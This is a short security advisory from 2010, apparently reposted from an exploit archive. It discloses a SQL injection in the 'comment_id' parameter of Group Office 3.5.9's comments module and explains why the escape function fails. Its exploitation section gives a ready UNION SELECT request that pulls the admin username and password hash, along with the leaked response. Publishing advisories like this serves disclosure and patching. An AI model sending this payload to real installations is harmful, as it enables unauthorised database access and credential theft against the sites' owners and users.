Group Office – ‘comment_id’ SQL Injection
# Title Group Office Remote SQL Injection Vulnerability # Author ADEO Security # Published 17/07/2010 # Version 3.5.9 (Possible all versions) # Vendor http://www.group-office.com # Download http://sourceforge.net/projects/group-office/files/3.5/groupoffice-com-3.5.9.tar.gz/download # Description "Take your office online with Group-Office groupware. Share projects, calendars, files and e-mail online with co-workers and clients. Easy to use and fully customizable, Group-Office takes online collaboration to the next level." # Credit Vulnerability founded by Canberk BOLAT - Mail: security[AT]adeo.com.tr - Web: http://security.adeo.com.tr , http://adeosecuritylabs.com # Vulnerability Remote attacker can inject sql codes to the system that host target web application. Its high level vulnerability. modules/comments/json.php: 23 $comment = $comments->get_comment(($_REQUEST['comment_id'])); In json.php 'get_comment' method called with value of HTTP Request that's name 'comment_id'. In the 'get_comment' method, variable '$comment_id' inserted to sql query and executed by application. modules/comments/classes/comments.class.inc.php: function get_comment($comment_id) { $this->query("SELECT * FROM co_comments WHERE id=".$this->escape($comment_id)); ... 'escape' method can't prevent because attacker don't need single quotes for successful exploitation. # Exploitation Request: http://server/groupoffice/modules/comments/json.php?task=comment&comment_id=888881+union+select+1,2,3,4,5,6,(select+concat_ws(0x3a,username,password)+from+go_users+where+id=1) Response: {"data":{"id":"1","link_id":"2","link_type":"3","user_id":"4","ctime":"01-01-1970 1:00","mtime":"01-01-1970 1:00","comments":"admin:$1$sM5wjKS9$wJPfZZWO53uu8eCxjOesS\/","user_name":""},"success":true} Application's response contains result of the attacker's injected sql codes. |